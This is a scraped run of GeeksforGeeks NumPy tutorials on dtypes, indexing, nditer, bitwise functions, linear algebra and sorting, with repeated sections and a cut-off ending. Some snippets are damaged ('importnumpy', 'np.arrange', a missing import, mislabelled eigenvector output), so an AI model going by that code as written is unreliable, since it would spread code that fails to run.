print("Data type is:", dt.name)
Output:
Byte order is: >
Size is: 4
Name of data type is: int32
The type specifier (i4 in above case) can take different forms:
b1, i1, i2, i4, i8, u1, u2, u4, u8, f2, f4, f8, c8, c16, a (representing bytes, ints, unsigned ints, floats, complex and fixed length strings of specified byte lengths)
int8,…,uint8,…,float16, float32, float64, complex64, complex128 (this time with bit sizes)
Note : dtype is different from type.
# Python program to differentiate
# between type and dtype.
import numpy as np
a = np.array([1])
print("type is: ",type(a))
print("dtype is: ",a.dtype)
Output:
type is:
dtype is: int32
Data type Objects with Structured Arrays : Data type objects are useful for creating structured arrays. A structured array is the one which contains different types of data. Structured arrays can be accessed with the help of fields.
A field is like specifying a name to the object. In case of structured arrays, the dtype object will also be structured.
# Python program for demonstrating
# the use of fields
import numpy as np
# A structured data type containing a
# 16-character string (in field ‘name’)
# and a sub-array of two 64-bit floating
# -point number (in field ‘grades’)
dt = np.dtype([('name', np.unicode_, 16),
('grades', np.float64, (2,))])
# Data type of object with field grades
print(dt['grades'])
# Data type of object with field name
print(dt['name'])
Output:
('<f8', (2,))
# Python program to demonstrate
# the use of data type object
# with structured array.
import numpy as np
dt = np.dtype([('name', np.unicode_, 16),
('grades', np.float64, (2,))])
# x is a structured array with names
# and marks of students.
# Data type of name of the student is
# np.unicode_ and data type of marks is
# np.float(64)
x = np.array([('Sarah', (8.0, 7.0)),
('John', (6.0, 7.0))], dtype=dt)
print(x[1])
print("Grades of John are: ", x[1]['grades'])
print("Names are: ", x['name'])
Output:
('John', [ 6., 7.])
Grades of John are: [ 6. 7.]
Names are: ['Sarah' 'John']
Every ndarray has an associated data type (dtype) object. This data type object (dtype) informs us about the layout of the array. This means it gives us information about:
Type of the data (integer, float, Python object, etc.)
Size of the data (number of bytes)
The byte order of the data (little-endian or big-endian)
If the data type is a sub-array, what is its shape and data type?
The values of a ndarray are stored in a buffer which can be thought of as a contiguous block of memory bytes. So how these bytes will be interpreted is given by the dtype object.
1. Constructing a data type (dtype) object: A data type object is an instance of the NumPy.dtype class and it can be created using NumPy.dtype.
Parameters:
obj: Object to be converted to a data-type object.
align: bool, optional Add padding to the fields to match what a C compiler would output for a similar C-struct.
copy: bool, optional Make a new copy of the data-type object. If False, the result may just be a reference to a built-in data-type object.
Byte order is: >
Size is: 4
Name of data type is: int32
The type specifier (i4 in the above case) can take different forms:
b1, i1, i2, i4, i8, u1, u2, u4, u8, f2, f4, f8, c8, c16, a (representing bytes, ints, unsigned ints, floats, complex and fixed-length strings of specified byte lengths)
int8,…,uint8,…,float16, float32, float64, complex64, complex128 (this time with bit sizes)
Note:
dtype is different from type.
Python
# Python program to differentiate
# between type and dtype.
importnumpy as np
a =np.array([1])
print("type is: ",type(a))
print("dtype is: ",a.dtype)
Output:
type is:
dtype is: int32
2. Data type Objects with Structured Arrays: Data type objects are useful for creating structured arrays. A structured array is one that contains different types of data. Structured arrays can be accessed with the help of fields. A field is like specifying a name to the object. In the case of structured arrays, the dtype object will also be structured.
Python
# Python program for demonstrating
# the use of fields
importnumpy as np
# A structured data type containing a 16-character string (in field ‘name’)
# and a sub-array of two 64-bit floating-point number (in field ‘grades’):
This article is contributed by Ayushi Asthana. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Numpy | Indexing
Last Updated :15 Nov, 2018
NumPy or Numeric Python is a package for computation on homogenous n-dimensional arrays. In numpy dimensions are called as axes.
Why do we need NumPy ?
A question arises that why do we need NumPy when python lists are already there. The answer to it is we cannot perform operations on all the elements of two list directly. For example, we cannot multiply two lists directly we will have to do it element-wise. This is where the role of NumPy comes into play.
Example #1:
# Python program to demonstrate a need of NumPy
list1 = [1, 2, 3, 4 ,5, 6]
list2 = [10, 9, 8, 7, 6, 5]
# Multiplying both lists directly would give an error.
print(list1*list2)
Output :
TypeError: can't multiply sequence by non-int of type 'list'
Where as this can easily be done with NumPy arrays.
Example #2:
# Python program to demonstrate the use of NumPy arrays
import numpy as np
list1 = [1, 2, 3, 4, 5, 6]
list2 = [10, 9, 8, 7, 6, 5]
# Convert list1 into a NumPy array
a1 = np.array(list1)
# Convert list2 into a NumPy array
a2 = np.array(list2)
print(a1*a2)
Output :
array([10, 18, 24, 28, 30, 30])
Numpy package of python has a great power of indexing in different ways.
Indexing using index arrays
Indexing can be done in numpy by using an array as an index. In case of slice, a view or shallow copy of the array is returned but in index array a copy of the original array is returned. Numpy arrays can be indexed with other arrays or any other sequence with the exception of tuples. The last element is indexed by -1 second last by -2 and so on.
Example #1:
# Python program to demonstrate
# the use of index arrays.
import numpy as np
# Create a sequence of integers from
# 10 to 1 with a step of -2
a = np.arange(10, 1, -2)
print("\n A sequential array with a negative step: \n",a)
# Indexes are specified inside the np.array method.
newarr = a[np.array([3, 1, 2 ])]
print("\n Elements at these indices are:\n",newarr)
Output :
A sequential array with a negative step:
[10 8 6 4 2]
Elements at these indices are:
[4 8 6]
Example #2:
import numpy as np
# NumPy array with elements from 1 to 9
x = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9])
# Index values can be negative.
arr = x[np.array([1, 3, -3])]
print("\n Elements are : \n",arr)
Output :
Elements are:
[2 4 7]
Types of Indexing
There are two types of indexing :
Basic Slicing and indexing : Consider the syntax x[obj] where x is the array and obj is the index. Slice object is the index in case of basic slicing. Basic slicing occurs when obj is :
a slice object that is of the form start : stop : step
an integer
or a tuple of slice objects and integers
All arrays generated by basic slicing are always view of the original array.
Code #1:
# Python program for basic slicing.
import numpy as np
# Arrange elements from 0 to 19
a = np.arange(20)
print("\n Array is:\n ",a)
# a[start:stop:step]
print("\n a[-8:17:1] = ",a[-8:17:1])
# The : operator means all elements till the end.
print("\n a[10:] = ",a[10:])
Ellipsis can also be used along with basic slicing. Ellipsis (…) is the number of : objects needed to make a selection tuple of the same length as the dimensions of the array.
# Python program for indexing using
# basic slicing with ellipsis
import numpy as np
# A 3 dimensional array.
b = np.array([[[1, 2, 3],[4, 5, 6]],
[[7, 8, 9],[10, 11, 12]]])
print(b[...,1]) #Equivalent to b[: ,: ,1 ]
Output :
[[ 2 5]
[ 8 11]]
Advanced indexing : Advanced indexing is triggered when obj is –
an ndarray of type integer or Boolean
or a tuple with at least one sequence object
is a non tuple sequence object
Advanced indexing returns a copy of data rather than a view of it. Advanced indexing is of two types integer and Boolean.
Purely integer indexing : When integers are used for indexing. Each element of first dimension is paired with the element of the second dimension. So the index of the elements in this case are (0,0),(1,0),(2,1) and the corresponding elements are selected.
# Python program showing advanced indexing
import numpy as np
a = np.array([[1 ,2 ],[3 ,4 ],[5 ,6 ]])
print(a[[0 ,1 ,2 ],[0 ,0 ,1]])
Output :
[1 3 6]
Combining advanced and basic indexing: When there is at least one slice (:), ellipsis (…) or newaxis in the index (or the array has more dimensions than there are advanced indexes), then the behavior can be more complicated. It is like concatenating the indexing result for each advanced index element
In the simplest case, there is only a single advanced index. A single advanced index can, for example, replace a slice and the result array will be the same, however, it is a copy and may have a different memory layout. A slice is preferable when it is possible.
# Python program showing advanced
# and basic indexing
import numpy as np
a = np.array([[0 ,1 ,2],[3 ,4 ,5 ],
[6 ,7 ,8],[9 ,10 ,11]])
print(a[1:2 ,1:3 ])
print(a[1:2 ,[1,2]])
Output :
[4, 5]
[4, 5]
The easiest way to understand the situation may be to think in terms of the result shape. There are two parts to the indexing operation, the subspace defined by the basic indexing (excluding integers) and the subspace from the advanced indexing part. Two cases of index combination need to be distinguished:
The advanced indexes are separated by a slice, Ellipsis or newaxis. For example x[arr1, :, arr2]. The advanced indexes are all next to each other. For example x[..., arr1, arr2, :] but not x[arr1, :, 1] since 1 is an advanced index in this regard. In the first case, the dimensions resulting from the advanced indexing operation come first in the result array, and the subspace dimensions after that. In the second case, the dimensions from the advanced indexing operations are inserted into the result array at the same spot as they were in the initial array (the latter logic is what makes simple advanced indexing behave just like slicing).
Boolean Array Indexing: This indexing has some boolean expression as the index. Those elements are returned which satisfy that Boolean expression. It is used for filtering the desired element values. Code #1
# You may wish to select numbers greater than 50
import numpy as np
a = np.array([10, 40, 80, 50, 100])
print(a[a>50])
Output :
[80 100]
Code #2
# You may wish to square the multiples of 40
import numpy as np
a = np.array([10, 40, 80, 50, 100])
print(a[a%40==0]**2)
Output :
[1600 6400])
Code #3
# You may wish to select those elements whose
# sum of row is a multiple of 10.
import numpy as np
b = np.array([[5, 5],[4, 5],[16, 4]])
sumrow = b.sum(-1)
print(b[sumrow%10==0])
Output :
array([[ 5, 5], [16, 4]])
My Personal Notesarrow_drop_up
Basic Slicing and Advanced Indexing in NumPy Python
Prerequisites : Numpy in Python Introduction NumPy or Numeric Python is a package for computation on homogeneous n-dimensional arrays. In numpy dimensions are called as axes.
Why do we need NumPy ?
A question arises that why do we need NumPy when python lists are already there. The answer to it is we cannot perform operations on all the elements of two list directly. For example we cannot multiply two lists directly we will have to do it element wise. This is where the role of NumPy comes into play.
Python
# Python program to demonstrate a need of NumPy
list1 =[1, 2, 3, 4,5, 6]
list2 =[10, 9, 8, 7, 6, 5]
# Multiplying both lists directly would give an error.
print(list1*list2)
Output :
TypeError: can't multiply sequence by non-int of type 'list'
Where as this can easily be done with NumPy arrays.
Another example,
Python
# Python program to demonstrate the use of NumPy arrays
importnumpy as np
list1 =[1, 2, 3, 4, 5, 6]
list2 =[10, 9, 8, 7, 6, 5]
# Convert list1 into a NumPy array
a1 =np.array(list1)
# Convert list2 into a NumPy array
a2 =np.array(list2)
print(a1*a2)
Output :
array([10, 18, 24, 28, 30, 30])
This article will help you get acquainted with indexing in NumPy in detail. Numpy package of python has a great power of indexing in different ways.
Indexing using index arrays
Indexing can be done in numpy by using an array as an index. In case of slice, a view or shallow copy of the array is returned but in index array a copy of the original array is returned. Numpy arrays can be indexed with other arrays or any other sequence with the exception of tuples. The last element is indexed by -1 second last by -2 and so on.
Python
# Python program to demonstrate
# the use of index arrays.
importnumpy as np
# Create a sequence of integers from 10 to 1 with a step of -2
a =np.arrange(10, 1, -2)
print("\n A sequential array with a negative step: \n",a)
# Indexes are specified inside the np.array method.
newarr =a[np.array([3, 1, 2])]
print("\n Elements at these indices are:\n",newarr)
Output :
A sequential array with a negative step:
[10 8 6 4 2]
Elements at these indices are:
[4 8 6]
Another example,
Python
importnumpy as np
# NumPy array with elements from 1 to 9
x =np.array([1, 2, 3, 4, 5, 6, 7, 8, 9])
# Index values can be negative.
arr =x[np.array([1, 3, -3])]
print("\n Elements are : \n",arr)
Output :
Elements are:
[2 4 7]
Types of Indexing
There are two types of indexing :
1. Basic Slicing and indexing : Consider the syntax x[obj] where x is the array and obj is the index. Slice object is the index in case of basic slicing. Basic slicing occurs when obj is :
a slice object that is of the form start : stop : step
an integer
or a tuple of slice objects and integers
All arrays generated by basic slicing are always view of the original array.
Ellipsis can also be used along with basic slicing. Ellipsis (…) is the number of : objects needed to make a selection tuple of the same length as the dimensions of the array.
Python
# Python program for indexing using basic slicing with ellipsis
importnumpy as np
# A 3 dimensional array.
b =np.array([[[1, 2, 3],[4, 5, 6]],
[[7, 8, 9],[10, 11, 12]]])
print(b[...,1]) #Equivalent to b[: ,: ,1 ]
Output :
[[ 2 5]
[ 8 11]]
2. Advanced indexing : Advanced indexing is triggered when obj is :
an ndarray of type integer or Boolean
or a tuple with at least one sequence object
is a non tuple sequence object
Advanced indexing returns a copy of data rather than a view of it. Advanced indexing is of two types integer and Boolean.
Purely integer indexing : When integers are used for indexing. Each element of first dimension is paired with the element of the second dimension. So the index of the elements in this case are (0,0),(1,0),(2,1) and the corresponding elements are selected.
Python
# Python program showing advanced indexing
importnumpy as np
a =np.array([[1,2],[3,4],[5,6]])
print(a[[0,1,2],[0,0,1]])
Output :
[1 3 6]
Boolean Indexing This indexing has some boolean expression as the index. Those elements are returned which satisfy that Boolean expression. It is used for filtering the desired element values.
Python
# You may wish to select numbers greater than 50
importnumpy as np
a =np.array([10, 40, 80, 50, 100])
print(a[a>50])
Output :
[80 100]
Python
# You may wish to square the multiples of 40
importnumpy as np
a =np.array([10, 40, 80, 50, 100])
print(a[a%40==0]**2)
Output :
[1600 6400])
Python
# You may wish to select those elements whose
# sum of row is a multiple of 10.
importnumpy as np
b =np.array([[5, 5],[4, 5],[16, 4]])
sumrow =b.sum(-1)
print(b[sumrow%10==0])
Output :
array([[ 5, 5], [16, 4]])
Reference : SciPy.org This article is contributed by Ayushi Asthana. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Numpy | Iterating Over Array
Last Updated :15 Nov, 2018
NumPy package contains an iterator object numpy.nditer. It is an efficient multidimensional iterator object using which it is possible to iterate over an array. Each element of an array is visited using Python’s standard Iterator interface.
# Python program for
# iterating over array
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(12)
# shape array with 3 rows and
# 4 columns
a = a.reshape(3,4)
print('Original array is:')
print(a)
print()
print('Modified array is:')
# iterating an array
for x in geek.nditer(a):
print(x)
The order of iteration is chosen to match the memory layout of an array, without considering a particular ordering. This can be seen by iterating over the transpose of the above array.
# Python program for
# iterating over transpose
# array
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(12)
# shape array with 3 rows and
# 4 columns
a = a.reshape(3,4)
print('Original array is:')
print(a)
print()
# Transpose of original array
b = a.T
print('Modified array is:')
for x in geek.nditer(b):
print(x)
Controlling Iteration Order: There are times when it is important to visit the elements of an array in a specific order, irrespective of the layout of the elements in memory. The nditer object provides an order parameter to control this aspect of iteration. The default, having the behavior described above, is order=’K’ to keep the existing order. This can be overridden with order=’C’ for C order and order=’F’ for Fortran order.
Code #1:
# Python program for
# iterating over array
# using particular order
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(12)
# shape array with 3 rows and
# 4 columns
a = a.reshape(3,4)
print('Original array is:')
print(a)
print()
print('Modified array in C-style order:')
# iterating an array in a given
# order
for x in geek.nditer(a, order = 'C'):
print(x)
# Python program for
# iterating over array
# using particular order
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(0,60,5)
# shape array with 3 rows and
# 4 columns
a = a.reshape(3,4)
print('Original array is:')
print(a)
print()
print('Modified array in F-style order:')
# iterating an array in a given
# order
for x in geek.nditer(a, order = 'F'):
print(x)
Modifying Array Values: The nditer object has another optional parameter called op_flags. Its default value is read-only, but can be set to read-write or write-only mode. This will enable modifying array elements using this iterator.
# Python program for
# modifying array values
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(12)
# shape array with 3 rows and
# 4 columns
a = a.reshape(3,4)
print('Original array is:')
print(a)
print()
# modifying array values
for x in geek.nditer(a, op_flags = ['readwrite']):
x[...] = 5*x
print('Modified array is:')
print(a)
The nditer class constructor has a flags parameter, which can take the following values
Parameter
Description
external_loop
Causes values given to be one-dimensional arrays with multiple values instead of zero-dimensional array
c_index
C_order index can be tracked
f_index
Fortran_order index is tracked
multi-index
Type of indexes with one per iteration can be tracked
Code #1:
# Python program for
# iterating array values
# using external loop
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(12)
# shape array with 3 rows and
# 4 columns
a = a.reshape(3,4)
print('Original array is:')
print(a)
print()
print('Modified array is:')
for x in geek.nditer(a, flags = ['external_loop'], order = 'C'):
print(x)
# Python program for
# iterating array values
# using f_index
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(6)
# shape array with 2 rows and
# 3 columns
a = a.reshape(2,3)
print('Original array is:')
print(a)
print()
# iterating array using f_index
# parameter
it = geek.nditer(a, flags=['f_index'])
while not it.finished:
print("%d <%d>" % (it[0], it.index), end=" ")
it.iternext()
Broadcasting Iteration: If two arrays are broadcastable, a combined nditer object is able to iterate upon them concurrently. Assuming that an array a has dimension 3X4, and there is another array b of dimension 1X4, the iterator of following type is used (array b is broadcast to size of a).
# Python program for
# iterating array
import numpy as geek
# creating an array using arrange
# method
a = geek.arange(12)
# shape array with 3 rows and
# 4 columns
a = a.reshape(3,4)
print('First array is:')
print(a)
print()
# Creating second array using
# array method
print('Second array is:')
b = geek.array([5, 6, 7, 8], dtype = int)
print(b)
print()
print('Modified array is:')
for x,y in geek.nditer([a,b]):
print("%d:%d" % (x,y))
Output:
First array is:
[[ 0 1 2 3]
[ 4 5 6 7]
[ 8 9 10 11]]
Second array is:
[5 6 7 8]
Modified array is:
0:5 1:6 2:7 3:8 4:5 5:6 6:7 7:8 8:5 9:6 10:7 11:8
My Personal Notesarrow_drop_up
Numpy | Binary Operations
Last Updated :15 Nov, 2018
Binary operators acts on bits and performs bit by bit operation. Binary operation is simply a rule for combining two values to create a new value.
numpy.bitwise_and() : This function is used to Compute the bit-wise AND of two array element-wise. This function computes the bit-wise AND of the underlying binary representation of the integers in the input arrays.
Code #1 :
# Python program explaining
# bitwise_and() function
import numpy as geek
in_num1 = 10
in_num2 = 11
print ("Input number1 : ", in_num1)
print ("Input number2 : ", in_num2)
out_num = geek.bitwise_and(in_num1, in_num2)
print ("bitwise_and of 10 and 11 : ", out_num)
Output :
Input number1 : 10
Input number2 : 11
bitwise_and of 10 and 11 : 10
numpy.bitwise_or() : This function is used to Compute the bit-wise OR of two array element-wise. This function computes the bit-wise OR of the underlying binary representation of the integers in the input arrays.
Code #1 :
# Python program explaining
# bitwise_or() function
import numpy as geek
in_num1 = 10
in_num2 = 11
print ("Input number1 : ", in_num1)
print ("Input number2 : ", in_num2)
out_num = geek.bitwise_or(in_num1, in_num2)
print ("bitwise_or of 10 and 11 : ", out_num)
Output :
Input number1 : 10
Input number2 : 11
bitwise_or of 10 and 11 : 11
numpy.bitwise_xor() : This function is used to Compute the bit-wise XOR of two array element-wise. This function computes the bit-wise XOR of the underlying binary representation of the integers in the input arrays.
Code #1 :
# Python program explaining
# bitwise_xor() function
import numpy as geek
in_num1 = 10
in_num2 = 11
print ("Input number1 : ", in_num1)
print ("Input number2 : ", in_num2)
out_num = geek.bitwise_xor(in_num1, in_num2)
print ("bitwise_xor of 10 and 11 : ", out_num)
Output :
Input number1 : 10
Input number2 : 11
bitwise_xor of 10 and 11 : 1
numpy.invert() : This function is used to Compute the bit-wise Inversion of an array element-wise. It computes the bit-wise NOT of the underlying binary representation of the integers in the input arrays. For signed integer inputs, the two’s complement is returned. In a two’s-complement system negative numbers are represented by the two’s complement of the absolute value.
Code #1 :
# Python program explaining
# invert() function
import numpy as geek
in_num = 10
print ("Input number : ", in_num)
out_num = geek.invert(in_num)
print ("inversion of 10 : ", out_num)
Output :
Input number : 10
inversion of 10 : -11
Code #2 :
# Python program explaining
# invert() function
import numpy as geek
in_arr = [2, 0, 25]
print ("Input array : ", in_arr)
out_arr = geek.invert(in_arr)
print ("Output array after inversion: ", out_arr)
numpy.left_shift() : This function is used to Shift the bits of an integer to the left.The bits are shifted to the left by appending arr2 0s(zeroes) at the right of arr1. Since the internal representation of numbers is in binary format, this operation is equivalent to multiplying arr1 by 2**arr2. For example, if the number is 5 and we want to 2 bit left shift then after left shift 2 bit the result will be 5*(2^2) = 20
Code #1 :
# Python program explaining
# left_shift() function
import numpy as geek
in_num = 5
bit_shift = 2
print ("Input number : ", in_num)
print ("Number of bit shift : ", bit_shift )
out_num = geek.left_shift(in_num, bit_shift)
print ("After left shifting 2 bit : ", out_num)
Output :
Input number : 5
Number of bit shift : 2
After left shifting 2 bit : 20
Code #2 :
# Python program explaining
# left_shift() function
import numpy as geek
in_arr = [2, 8, 15]
bit_shift =[3, 4, 5]
print ("Input array : ", in_arr)
print ("Number of bit shift : ", bit_shift)
out_arr = geek.left_shift(in_arr, bit_shift)
print ("Output array after left shifting: ", out_arr)
Output :
Input array : [2, 8, 15]
Number of bit shift : [3, 4, 5]
Output array after left shifting: [ 16 128 480]
numpy.right_shift() : This function is used to Shift the bits of an integer to the right.Because the internal representation of numbers is in binary format, this operation is equivalent to dividing arr1 by 2**arr2. For example, if the number is 20 and we want to 2-bit right shift then after right shift 2-bit the result will be 20/(2^2) = 5.
Code #1 :
# Python program explaining
# right_shift() function
import numpy as geek
in_num = 20
bit_shift = 2
print ("Input number : ", in_num)
print ("Number of bit shift : ", bit_shift )
out_num = geek.right_shift(in_num, bit_shift)
print ("After right shifting 2 bit : ", out_num)
Output :
Input number : 20
Number of bit shift : 2
After right shifting 2 bit : 5
Code #2 :
# Python program explaining
# right_shift() function
import numpy as geek
in_arr = [24, 48, 16]
bit_shift =[3, 4, 2]
print ("Input array : ", in_arr)
print ("Number of bit shift : ", bit_shift)
out_arr = geek.right_shift(in_arr, bit_shift)
print ("Output array after right shifting: ", out_arr)
Output :
Input array : [24, 48, 16]
Number of bit shift : [3, 4, 2]
Output array after right shifting: [3 3 4]
numpy.binary_repr(number, width=None) : This function is used to represent binary form of the input number as a string.For negative numbers, if width is not given, a minus sign is added to the front. If width is given, the two’s complement of the number is returned, with respect to that width. In a two’s-complement system, negative numbers are represented by the two’s complement of the absolute value. This is the most common method of representing signed integers on computers.
Code #1 :
# Python program explaining
# binary_repr() function
import numpy as geek
in_num = 10
print ("Input number : ", in_num)
out_num = geek.binary_repr(in_num)
print ("binary representation of 10 : ", out_num)
Output :
Input number : 10
binary representation of 10 : 1010
Code #2 :
# Python program explaining
# binary_repr() function
import numpy as geek
in_arr = [5, -8 ]
print ("Input array : ", in_arr)
# binary representation of first array
# element without using width parameter
out_num = geek.binary_repr(in_arr[0])
print("Binary representation of 5")
print ("Without using width parameter : ", out_num)
# binary representation of first array
# element using width parameter
out_num = geek.binary_repr(in_arr[0], width = 5)
print ("Using width parameter: ", out_num)
print("\nBinary representation of -8")
# binary representation of 2nd array
# element without using width parameter
out_num = geek.binary_repr(in_arr[1])
print ("Without using width parameter : ", out_num)
# binary representation of 2nd array
# element using width parameter
out_num = geek.binary_repr(in_arr[1], width = 5)
print ("Using width parameter : ", out_num)
Output :
Input array : [5, -8]
Binary representation of 5
Without using width parameter : 101
Using width parameter: 00101
Binary representation of -8
Without using width parameter : -1000
Using width parameter : 11000
numpy.packbits(myarray, axis=None) : This function is used to packs the elements of a binary-valued array into bits in a uint8 array.The result is padded to full bytes by inserting zero bits at the end.
Code #1 :
# Python program explaining
# packbits() function
import numpy as np
# creating an array using
# array function
a = np.array([[[1,0,1],
[0,1,0]],
[[1,1,0],
[0,0,1]]])
# packing elements of an array
# using packbits() function
b = np.packbits(a, axis=-1)
print(b)
Output :
[[[160],[64]],[[192],[32]]]
numpy.unpackbits(myarray, axis=None) : This function is used to Unpacks elements of a uint8 array into a binary-valued output array.Each element of myarray represents a bit-field that should be unpacked into a binary-valued output array. The shape of the output array is either 1-D (if axis is None) or the same shape as the input array with unpacking done along the axis specified.
Code #1 :
# Python program explaining
# unpackbits() function
import numpy as np
# creating an array using
# array function
a = np.array([[2], [7], [23]], dtype=np.uint8)
# packing elements of an array
# using packbits() function
b = np.unpackbits(a, axis = 1)
print(b)
The Linear Algebra module of NumPy offers various methods to apply linear algebra on any numpy array. One can find:
rank, determinant, trace, etc. of an array.
eigen values of matrices
matrix and vector products (dot, inner, outer,etc. product), matrix exponentiation
solve linear or tensor equations and much more!
# Importing numpy as np
import numpy as np
A = np.array([[6, 1, 1],
[4, -2, 5],
[2, 8, 7]])
# Rank of a matrix
print("Rank of A:", np.linalg.matrix_rank(A))
# Trace of matrix A
print("\nTrace of A:", np.trace(A))
# Determinant of a matrix
print("\nDeterminant of A:", np.linalg.det(A))
# Inverse of matrix A
print("\nInverse of A:\n", np.linalg.inv(A))
print("\nMatrix A raised to power 3:\n",
np.linalg.matrix_power(A, 3))
Output:
Rank of A: 3
Trace of A: 11
Determinant of A: -306.0
Inverse of A:
[[ 0.17647059 -0.00326797 -0.02287582]
[ 0.05882353 -0.13071895 0.08496732]
[-0.11764706 0.1503268 0.05228758]]
Matrix A raised to power 3:
[[336 162 228]
[406 162 469]
[698 702 905]]
Matrix eigenvalues Functions
numpy.linalg.eigh(a, UPLO=’L’) : This function is used to return the eigenvalues and eigenvectors of a complex Hermitian (conjugate symmetric) or a real symmetric matrix.Returns two objects, a 1-D array containing the eigenvalues of a, and a 2-D square array or matrix (depending on the input type) of the corresponding eigenvectors (in columns).
# Python program explaining
# eigh() function
from numpy import linalg as geek
# Creating an array using array
# function
a = np.array([[1, -2j], [2j, 5]])
print("Array is :",a)
# calculating an eigen value
# using eigh() function
c, d = geek.eigh(a)
print("Eigen value is :", c)
print("Eigen value is :", d)
Output :
Array is : [[ 1.+0.j, 0.-2.j],
[ 0.+2.j, 5.+0.j]]
Eigen value is : [ 0.17157288, 5.82842712]
Eigen value is : [[-0.92387953+0.j , -0.38268343+0.j ],
[ 0.00000000+0.38268343j, 0.00000000-0.92387953j]]
numpy.linalg.eig(a) : This function is used to compute the eigenvalues and right eigenvectors of a square array.
# Python program explaining
# eig() function
from numpy import linalg as geek
# Creating an array using diag
# function
a = np.diag((1, 2, 3))
print("Array is :",a)
# calculating an eigen value
# using eig() function
c, d = geek.eig(a)
print("Eigen value is :",c)
print("Eigen value is :",d)
Output :
Array is : [[1 0 0],
[0 2 0],
[0 0 3]]
Eigen value is : [ 1 2 3]
Eigen value is : [[ 1 0 0],
[ 0 1 0],
[ 0 0 1]]
Function
Description
linalg.eigvals()
Compute the eigenvalues of a general matrix.
linalg.eigvalsh(a[, UPLO])
Compute the eigenvalues of a complex Hermitian or real symmetric matrix.
Matrix and vector products
numpy.dot(vector_a, vector_b, out = None) : returns the dot product of vectors a and b. It can handle 2D arrays but considering them as matrix and will perform matrix multiplication. For N dimensions it is a sum product over the last axis of a and the second-to-last of b :
numpy.vdot(vector_a, vector_b) : Returns the dot product of vectors a and b. If first argument is complex the complex conjugate of the first argument(this is where vdot() differs working of dot() method) is used for the calculation of the dot product. It can handle multi-dimensional arrays but working on it as a flattened array.
vector_a = 2 + 3j
vector_b = 4 + 5j
As per method, take conjugate of vector_a i.e. 2 - 3j
now dot product = 2(4 - 5j) + 3j(4 - 5j)
= 8 - 10j + 12j + 15
= 23 - 2j
Function
Description
matmul()
Matrix product of two arrays.
inner()
Inner product of two arrays.
outer()
Compute the outer product of two vectors.
linalg.multi_dot()
Compute the dot product of two or more arrays in a single function call, while automatically selecting the fastest evaluation order.
tensordot()
Compute tensor dot product along specified axes for arrays >= 1-D.
einsum()
Evaluates the Einstein summation convention on the operands.
einsum_path()
Evaluates the lowest cost contraction order for an einsum expression by considering the creation of intermediate arrays.
linalg.matrix_power()
Raise a square matrix to the (integer) power n.
kron()
Kronecker product of two arrays.
Solving equations and inverting matrices
numpy.linalg.solve() : Solve a linear matrix equation, or system of linear scalar equations.Computes the “exact” solution, x, of the well-determined, i.e., full rank, linear matrix equation ax = b.
# Python Program illustrating
# numpy.linalg.solve() method
import numpy as np
# Creating an array using array
# function
a = np.array([[1, 2], [3, 4]])
# Creating an array using array
# function
b = np.array([8, 18])
print(("Solution of linear equations:",
np.linalg.solve(a, b)))
Output:
Solution of linear equations: [ 2. 3.]
numpy.linalg.lstsq() : Return the least-squares solution to a linear matrix equation.Solves the equation a x = b by computing a vector x that minimizes the Euclidean 2-norm || b – a x ||^2. The equation may be under-, well-, or over- determined (i.e., the number of linearly independent rows of a can be less than, equal to, or greater than its number of linearly independent columns). If a is square and of full rank, then x (but for round-off error) is the “exact” solution of the equation.
# Python Program illustrating
# numpy.linalg.lstsq() method
import numpy as np
import matplotlib.pyplot as plt
# x co-ordinates
x = np.arange(0, 9)
A = np.array([x, np.ones(9)])
# linearly generated sequence
y = [19, 20, 20.5, 21.5, 22, 23, 23, 25.5, 24]
# obtaining the parameters of regression line
w = np.linalg.lstsq(A.T, y)[0]
# plotting the line
line = w[0]*x + w[1] # regression line
plt.plot(x, line, 'r-')
plt.plot(x, y, 'o')
plt.show()
Output:
Function
Description
numpy.linalg.tensorsolve()
Solve the tensor equation a x = b for x.
numpy.linalg.inv()
Compute the (multiplicative) inverse of a matrix.
numpy.linalg.pinv()
Compute the (Moore-Penrose) pseudo-inverse of a matrix.
numpy.linalg.tensorinv()
Compute the ‘inverse’ of an N-dimensional array.
Special Functions
numpy.linalg.det() : Compute the determinant of an array.
# Python Program illustrating
# numpy.linalg.det() method
import numpy as np
# creating an array using
# array method
A = np.array([[6, 1, 1],
[4, -2, 5],
[2, 8, 7]])
print(("\nDeterminant of A:"
, np.linalg.det(A)))
Output:
Determinant of A: -306.0
numpy.trace() : Return the sum along diagonals of the array.If a is 2-D, the sum along its diagonal with the given offset is returned, i.e., the sum of elements a[i,i+offset] for all i.If a has more than two dimensions, then the axes specified by axis1 and axis2 are used to determine the 2-D sub-arrays whose traces are returned. The shape of the resulting array is the same as that of a with axis1 and axis2 removed.
# Python Program illustrating
# numpy.trace()() method
import numpy as np
# creating an array using
# array method
A = np.array([[6, 1, 1],
[4, -2, 5],
[2, 8, 7]])
print("\nTrace of A:", np.trace(A))
Output:
Trace of A: 11
Function
Description
numpy.linalg.norm()
Matrix or vector norm.
numpy.linalg.cond()
Compute the condition number of a matrix.
numpy.linalg.matrix_rank()
Return matrix rank of array using SVD method
numpy.linalg.cholesky()
Cholesky decomposition.
numpy.linalg.qr()
Compute the qr factorization of a matrix.
numpy.linalg.svd()
Singular Value Decomposition.
My Personal Notesarrow_drop_up
Numpy | Sorting, Searching and Counting
Last Updated :15 Nov, 2018
Sorting
Sorting refers to arranging data in a particular format. Sorting algorithm specifies the way to arrange data in a particular order. Most common orders are in numerical or lexicographical order. In Numpy, we can perform various sorting operations using the various functions that are provided in the library like sort, lexsort, argsort etc.
numpy.sort() : This function returns a sorted copy of an array.
# importing libraries
import numpy as np
